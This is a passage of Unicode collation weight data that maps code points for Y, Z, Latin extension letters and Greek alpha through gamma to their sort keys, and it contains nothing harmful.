PARENTHESIZED LATIN SMALL LETTER Y -1D432 ; [.1F0B.0020.0005] # MATHEMATICAL BOLD SMALL Y -1D466 ; [.1F0B.0020.0005] # MATHEMATICAL ITALIC SMALL Y -1D49A ; [.1F0B.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Y -1D4CE ; [.1F0B.0020.0005] # MATHEMATICAL SCRIPT SMALL Y -1D502 ; [.1F0B.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Y -1D536 ; [.1F0B.0020.0005] # MATHEMATICAL FRAKTUR SMALL Y -1D56A ; [.1F0B.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Y -1D59E ; [.1F0B.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Y -1D5D2 ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Y -1D606 ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Y -1D63A ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Y -1D66E ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Y -1D6A2 ; [.1F0B.0020.0005] # MATHEMATICAL MONOSPACE SMALL Y -24E8 ; [.1F0B.0020.0006] # CIRCLED LATIN SMALL LETTER Y -0059 ; [.1F0B.0020.0008] # LATIN CAPITAL LETTER Y -FF39 ; [.1F0B.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Y -1F128 ; [*0317.0020.0004][.1F0B.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Y -1D418 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD CAPITAL Y -1D44C ; [.1F0B.0020.000B] # MATHEMATICAL ITALIC CAPITAL Y -1D480 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Y -1D4B4 ; [.1F0B.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Y -1D4E8 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Y -1D51C ; [.1F0B.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Y -1D550 ; [.1F0B.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL Y -1D584 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Y -1D5B8 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Y -1D5EC ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Y -1D620 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Y -1D654 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Y -1D688 ; [.1F0B.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Y -24CE ; [.1F0B.0020.000C] # CIRCLED LATIN CAPITAL LETTER Y -1F168 ; [.1F0B.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Y -02B8 ; [.1F0B.0020.0014] # MODIFIER LETTER SMALL Y -1F148 ; [.1F0B.0020.001D] # SQUARED LATIN CAPITAL LETTER Y -1F188 ; [.1F0B.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Y -00FD ; [.1F0B.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Y WITH ACUTE -00DD ; [.1F0B.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Y WITH ACUTE -1EF3 ; [.1F0B.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER Y WITH GRAVE -1EF2 ; [.1F0B.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER Y WITH GRAVE -0177 ; [.1F0B.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX -0176 ; [.1F0B.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX -1E99 ; [.1F0B.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH RING ABOVE -00FF ; [.1F0B.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER Y WITH DIAERESIS -0178 ; [.1F0B.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER Y WITH DIAERESIS -1EF9 ; [.1F0B.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER Y WITH TILDE -1EF8 ; [.1F0B.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER Y WITH TILDE -1E8F ; [.1F0B.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Y WITH DOT ABOVE -1E8E ; [.1F0B.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Y WITH DOT ABOVE -0233 ; [.1F0B.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER Y WITH MACRON -0232 ; [.1F0B.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER Y WITH MACRON -1EF7 ; [.1F0B.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER Y WITH HOOK ABOVE -1EF6 ; [.1F0B.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE -1EF5 ; [.1F0B.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Y WITH DOT BELOW -1EF4 ; [.1F0B.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Y WITH DOT BELOW -028F ; [.1F0F.0020.0002] # LATIN LETTER SMALL CAPITAL Y -024F ; [.1F13.0020.0002] # LATIN SMALL LETTER Y WITH STROKE -024E ; [.1F13.0020.0008] # LATIN CAPITAL LETTER Y WITH STROKE -01B4 ; [.1F17.0020.0002] # LATIN SMALL LETTER Y WITH HOOK -01B3 ; [.1F17.0020.0008] # LATIN CAPITAL LETTER Y WITH HOOK -1EFF ; [.1F1B.0020.0002] # LATIN SMALL LETTER Y WITH LOOP -1EFE ; [.1F1B.0020.0008] # LATIN CAPITAL LETTER Y WITH LOOP -AB5A ; [.1F1C.0020.0002] # LATIN SMALL LETTER Y WITH SHORT RIGHT LEG -021D ; [.1F1D.0020.0002] # LATIN SMALL LETTER YOGH -021C ; [.1F1D.0020.0008] # LATIN CAPITAL LETTER YOGH -007A ; [.1F21.0020.0002] # LATIN SMALL LETTER Z -FF5A ; [.1F21.0020.0003] # FULLWIDTH LATIN SMALL LETTER Z -1DE6 ; [.1F21.0020.0004] # COMBINING LATIN SMALL LETTER Z -24B5 ; [*0317.0020.0004][.1F21.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Z -1D433 ; [.1F21.0020.0005] # MATHEMATICAL BOLD SMALL Z -1D467 ; [.1F21.0020.0005] # MATHEMATICAL ITALIC SMALL Z -1D49B ; [.1F21.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Z -1D4CF ; [.1F21.0020.0005] # MATHEMATICAL SCRIPT SMALL Z -1D503 ; [.1F21.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Z -1D537 ; [.1F21.0020.0005] # MATHEMATICAL FRAKTUR SMALL Z -1D56B ; [.1F21.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Z -1D59F ; [.1F21.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Z -1D5D3 ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Z -1D607 ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Z -1D63B ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Z -1D66F ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Z -1D6A3 ; [.1F21.0020.0005] # MATHEMATICAL MONOSPACE SMALL Z -24E9 ; [.1F21.0020.0006] # CIRCLED LATIN SMALL LETTER Z -005A ; [.1F21.0020.0008] # LATIN CAPITAL LETTER Z -FF3A ; [.1F21.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Z -1F129 ; [*0317.0020.0004][.1F21.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Z -2124 ; [.1F21.0020.000B] # DOUBLE-STRUCK CAPITAL Z -2128 ; [.1F21.0020.000B] # BLACK-LETTER CAPITAL Z -1D419 ; [.1F21.0020.000B] # MATHEMATICAL BOLD CAPITAL Z -1D44D ; [.1F21.0020.000B] # MATHEMATICAL ITALIC CAPITAL Z -1D481 ; [.1F21.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Z -1D4B5 ; [.1F21.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Z -1D4E9 ; [.1F21.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Z -1D585 ; [.1F21.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Z -1D5B9 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Z -1D5ED ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Z -1D621 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Z -1D655 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Z -1D689 ; [.1F21.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Z -24CF ; [.1F21.0020.000C] # CIRCLED LATIN CAPITAL LETTER Z -1F169 ; [.1F21.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Z -1DBB ; [.1F21.0020.0014] # MODIFIER LETTER SMALL Z -1F149 ; [.1F21.0020.001D] # SQUARED LATIN CAPITAL LETTER Z -1F189 ; [.1F21.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Z -017A ; [.1F21.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Z WITH ACUTE -0179 ; [.1F21.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Z WITH ACUTE -1E91 ; [.1F21.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Z WITH CIRCUMFLEX -1E90 ; [.1F21.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Z WITH CIRCUMFLEX -017E ; [.1F21.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F21.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER Z WITH CARON -017C ; [.1F21.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE -017B ; [.1F21.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Z WITH DOT ABOVE -1E93 ; [.1F21.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Z WITH DOT BELOW -1E92 ; [.1F21.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Z WITH DOT BELOW -1E95 ; [.1F21.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER Z WITH LINE BELOW -1E94 ; [.1F21.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER Z WITH LINE BELOW -018D ; [.1F21.0020.0004][.1EF5.0020.0004] # LATIN SMALL LETTER TURNED DELTA -1D22 ; [.1F25.0020.0002] # LATIN LETTER SMALL CAPITAL Z -01B6 ; [.1F26.0020.0002] # LATIN SMALL LETTER Z WITH STROKE -01B5 ; [.1F26.0020.0008] # LATIN CAPITAL LETTER Z WITH STROKE -1D76 ; [.1F2A.0020.0002] # LATIN SMALL LETTER Z WITH MIDDLE TILDE -1D8E ; [.1F2B.0020.0002] # LATIN SMALL LETTER Z WITH PALATAL HOOK -0225 ; [.1F2C.0020.0002] # LATIN SMALL LETTER Z WITH HOOK -0224 ; [.1F2C.0020.0008] # LATIN CAPITAL LETTER Z WITH HOOK -0290 ; [.1F30.0020.0002] # LATIN SMALL LETTER Z WITH RETROFLEX HOOK -1DBC ; [.1F30.0020.0014] # MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK -0291 ; [.1F34.0020.0002] # LATIN SMALL LETTER Z WITH CURL -1DBD ; [.1F34.0020.0014] # MODIFIER LETTER SMALL Z WITH CURL -0240 ; [.1F38.0020.0002] # LATIN SMALL LETTER Z WITH SWASH TAIL -2C7F ; [.1F38.0020.0008] # LATIN CAPITAL LETTER Z WITH SWASH TAIL -2C6C ; [.1F3C.0020.0002] # LATIN SMALL LETTER Z WITH DESCENDER -2C6B ; [.1F3C.0020.0008] # LATIN CAPITAL LETTER Z WITH DESCENDER -A763 ; [.1F3D.0020.0002] # LATIN SMALL LETTER VISIGOTHIC Z -A762 ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER VISIGOTHIC Z -0292 ; [.1F3E.0020.0002] # LATIN SMALL LETTER EZH -01B7 ; [.1F3E.0020.0008] # LATIN CAPITAL LETTER EZH -1DBE ; [.1F3E.0020.0014] # MODIFIER LETTER SMALL EZH -01EF ; [.1F3E.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON -01EE ; [.1F3E.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON -1D23 ; [.1F42.0020.0002] # LATIN LETTER SMALL CAPITAL EZH -01B9 ; [.1F43.0020.0002] # LATIN SMALL LETTER EZH REVERSED -01B8 ; [.1F43.0020.0008] # LATIN CAPITAL LETTER EZH REVERSED -1D9A ; [.1F47.0020.0002] # LATIN SMALL LETTER EZH WITH RETROFLEX HOOK -01BA ; [.1F48.0020.0002] # LATIN SMALL LETTER EZH WITH TAIL -0293 ; [.1F4C.0020.0002] # LATIN SMALL LETTER EZH WITH CURL -00FE ; [.1F50.0020.0002] # LATIN SMALL LETTER THORN -00DE ; [.1F50.0020.0008] # LATIN CAPITAL LETTER THORN -A765 ; [.1F54.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE -A764 ; [.1F54.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE -A767 ; [.1F55.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER -A766 ; [.1F55.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER -01BF ; [.1F56.0020.0002] # LATIN LETTER WYNN -01F7 ; [.1F56.0020.0008] # LATIN CAPITAL LETTER WYNN -A769 ; [.1F5A.0020.0002] # LATIN SMALL LETTER VEND -A768 ; [.1F5A.0020.0008] # LATIN CAPITAL LETTER VEND -AB60 ; [.1F5B.0020.0002] # LATIN SMALL LETTER SAKHA YAT -AB61 ; [.1F5C.0020.0002] # LATIN SMALL LETTER IOTIFIED E -AB63 ; [.1F5D.0020.0002] # LATIN SMALL LETTER UO -A76B ; [.1F5E.0020.0002] # LATIN SMALL LETTER ET -A76A ; [.1F5E.0020.0008] # LATIN CAPITAL LETTER ET -A76D ; [.1F5F.0020.0002] # LATIN SMALL LETTER IS -A76C ; [.1F5F.0020.0008] # LATIN CAPITAL LETTER IS -A76F ; [.1F60.0020.0002] # LATIN SMALL LETTER CON -1DD2 ; [.1F60.0020.0004] # COMBINING US ABOVE -A76E ; [.1F60.0020.0008] # LATIN CAPITAL LETTER CON -A770 ; [.1F60.0020.0014] # MODIFIER LETTER US -A778 ; [.1F61.0020.0002] # LATIN SMALL LETTER UM -01BB ; [.1F62.0020.0002] # LATIN LETTER TWO WITH STROKE -A72B ; [.1F66.0020.0002] # LATIN SMALL LETTER TRESILLO -A72A ; [.1F66.0020.0008] # LATIN CAPITAL LETTER TRESILLO -A72D ; [.1F67.0020.0002] # LATIN SMALL LETTER CUATRILLO -A72C ; [.1F67.0020.0008] # LATIN CAPITAL LETTER CUATRILLO -A72F ; [.1F68.0020.0002] # LATIN SMALL LETTER CUATRILLO WITH COMMA -A72E ; [.1F68.0020.0008] # LATIN CAPITAL LETTER CUATRILLO WITH COMMA -01A8 ; [.1F69.0020.0002] # LATIN SMALL LETTER TONE TWO -01A7 ; [.1F69.0020.0008] # LATIN CAPITAL LETTER TONE TWO -01BD ; [.1F6D.0020.0002] # LATIN SMALL LETTER TONE FIVE -01BC ; [.1F6D.0020.0008] # LATIN CAPITAL LETTER TONE FIVE -0185 ; [.1F71.0020.0002] # LATIN SMALL LETTER TONE SIX -0184 ; [.1F71.0020.0008] # LATIN CAPITAL LETTER TONE SIX -0294 ; [.1F75.0020.0002] # LATIN LETTER GLOTTAL STOP -0242 ; [.1F79.0020.0002] # LATIN SMALL LETTER GLOTTAL STOP -0241 ; [.1F79.0020.0008] # LATIN CAPITAL LETTER GLOTTAL STOP -02C0 ; [.1F7D.0020.0002] # MODIFIER LETTER GLOTTAL STOP -02BC ; [.1F7E.0020.0002] # MODIFIER LETTER APOSTROPHE -0149 ; [.1F7E.0020.0004][.1DB9.0020.0004] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE -02EE ; [.1F7F.0020.0002] # MODIFIER LETTER DOUBLE APOSTROPHE -02BE ; [.1F80.0020.0002] # MODIFIER LETTER RIGHT HALF RING -A723 ; [.1F81.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL ALEF -A722 ; [.1F81.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF -A78C ; [.1F82.0020.0002] # LATIN SMALL LETTER SALTILLO -A78B ; [.1F82.0020.0008] # LATIN CAPITAL LETTER SALTILLO -A78F ; [.1F83.0020.0002] # LATIN LETTER SINOLOGICAL DOT -0295 ; [.1F84.0020.0002] # LATIN LETTER PHARYNGEAL VOICED FRICATIVE -02E4 ; [.1F84.0020.0014] # MODIFIER LETTER SMALL REVERSED GLOTTAL STOP -02BF ; [.1F88.0020.0002] # MODIFIER LETTER LEFT HALF RING -02C1 ; [.1F89.0020.0002] # MODIFIER LETTER REVERSED GLOTTAL STOP -1D24 ; [.1F8A.0020.0002] # LATIN LETTER VOICED LARYNGEAL SPIRANT -1D25 ; [.1F8B.0020.0002] # LATIN LETTER AIN -1D5C ; [.1F8B.0020.0014] # MODIFIER LETTER SMALL AIN -A725 ; [.1F8C.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL AIN -A724 ; [.1F8C.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL AIN -02A1 ; [.1F8D.0020.0002] # LATIN LETTER GLOTTAL STOP WITH STROKE -02A2 ; [.1F91.0020.0002] # LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE -0296 ; [.1F95.0020.0002] # LATIN LETTER INVERTED GLOTTAL STOP -01C0 ; [.1F99.0020.0002] # LATIN LETTER DENTAL CLICK -01C1 ; [.1F9D.0020.0002] # LATIN LETTER LATERAL CLICK -01C2 ; [.1FA1.0020.0002] # LATIN LETTER ALVEOLAR CLICK -01C3 ; [.1FA5.0020.0002] # LATIN LETTER RETROFLEX CLICK -0297 ; [.1FA9.0020.0002] # LATIN LETTER STRETCHED C -0298 ; [.1FAD.0020.0002] # LATIN LETTER BILABIAL CLICK -02AC ; [.1FB1.0020.0002] # LATIN LETTER BILABIAL PERCUSSIVE -02AD ; [.1FB5.0020.0002] # LATIN LETTER BIDENTAL PERCUSSIVE -03B1 ; [.1FB9.0020.0002] # GREEK SMALL LETTER ALPHA -1D6C2 ; [.1FB9.0020.0005] # MATHEMATICAL BOLD SMALL ALPHA -1D6FC ; [.1FB9.0020.0005] # MATHEMATICAL ITALIC SMALL ALPHA -1D736 ; [.1FB9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ALPHA -1D770 ; [.1FB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA -1D7AA ; [.1FB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA -0391 ; [.1FB9.0020.0008] # GREEK CAPITAL LETTER ALPHA -1D6A8 ; [.1FB9.0020.000B] # MATHEMATICAL BOLD CAPITAL ALPHA -1D6E2 ; [.1FB9.0020.000B] # MATHEMATICAL ITALIC CAPITAL ALPHA -1D71C ; [.1FB9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ALPHA -1D756 ; [.1FB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ALPHA -1D790 ; [.1FB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ALPHA -1F00 ; [.1FB9.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ALPHA WITH PSILI -1F08 ; [.1FB9.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI -1F04 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA -1F0C ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA -1F84 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI -1F8C ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI -1F02 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA -1F0A ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA -1F82 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI -1F8A ; [.1FB9.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI -1F06 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI -1F0E ; [.1FB9.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI -1F86 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI -1F8E ; [.1FB9.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI -1F80 ; [.1FB9.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI -1F88 ; [.1FB9.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI -1F01 ; [.1FB9.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ALPHA WITH DASIA -1F09 ; [.1FB9.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA -1F05 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA -1F0D ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA -1F85 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI -1F8D ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI -1F03 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA -1F0B ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA -1F83 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI -1F8B ; [.1FB9.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI -1F07 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI -1F0F ; [.1FB9.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI -1F87 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI -1F8F ; [.1FB9.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI -1F81 ; [.1FB9.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI -1F89 ; [.1FB9.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI -03AC ; [.1FB9.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH TONOS -1F71 ; [.1FB9.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH OXIA -0386 ; [.1FB9.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH TONOS -1FBB ; [.1FB9.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH OXIA -1FB4 ; [.1FB9.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI -1F70 ; [.1FB9.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH VARIA -1FBA ; [.1FB9.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH VARIA -1FB2 ; [.1FB9.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI -1FB0 ; [.1FB9.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER ALPHA WITH VRACHY -1FB8 ; [.1FB9.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER ALPHA WITH VRACHY -1FB6 ; [.1FB9.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI -1FB7 ; [.1FB9.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI -1FB1 ; [.1FB9.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER ALPHA WITH MACRON -1FB9 ; [.1FB9.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER ALPHA WITH MACRON -1FB3 ; [.1FB9.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI -1FBC ; [.1FB9.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI -03B2 ; [.1FBA.0020.0002] # GREEK SMALL LETTER BETA -03D0 ; [.1FBA.0020.0004] # GREEK BETA SYMBOL -1D6C3 ; [.1FBA.0020.0005] # MATHEMATICAL BOLD SMALL BETA -1D6FD ; [.1FBA.0020.0005] # MATHEMATICAL ITALIC SMALL BETA -1D737 ; [.1FBA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL BETA -1D771 ; [.1FBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL BETA -1D7AB ; [.1FBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL BETA -0392 ; [.1FBA.0020.0008] # GREEK CAPITAL LETTER BETA -1D6A9 ; [.1FBA.0020.000B] # MATHEMATICAL BOLD CAPITAL BETA -1D6E3 ; [.1FBA.0020.000B] # MATHEMATICAL ITALIC CAPITAL BETA -1D71D ; [.1FBA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL BETA -1D757 ; [.1FBA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL BETA -1D791 ; [.1FBA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL BETA -1D5D ; [.1FBA.0020.0014] # MODIFIER LETTER SMALL BETA -1D66 ; [.1FBA.0020.0015] # GREEK SUBSCRIPT SMALL LETTER BETA -03B3 ; [.1FBB.0020.0002] # GREEK SMALL LETTER GAMMA -213D ; [.1FBB.0020.0005] # DOUBLE-STRUCK SMALL GAMMA -1D6C4 ; [.1FBB.0020.0005] # MATHEMATICAL BOLD SMALL GAMMA -1D6FE ; [.1FBB.0020.0005] # MATHEMATICAL ITALIC SMALL GAMMA -1D738 ; [.1FBB.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL GAMMA -1D772 ; [.1FBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL GAMMA -1D7AC ; [.1FBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL GAMMA -0393 ; [.1FBB.0020.0008] # GREEK CAPITAL LETTER GAMMA -213E ; [.1FBB.0020.000B] # DOUBLE-STRUCK CAPITAL GAMMA -1D6AA ; [.1FBB.0020.000B] # MATHEMATICAL BOLD CAPITAL GAMMA -1D6E4 ; [.1FBB.0020.000B] # MATHEMATICAL ITALIC CAPITAL GAMMA -1D71E ; [.1FBB.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL GAMMA -1D758 ; [.1FBB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL GAMMA -1D792 ; [.1FBB.0020.000B] # MATHEMATICAL SANS-SERIF BOLD 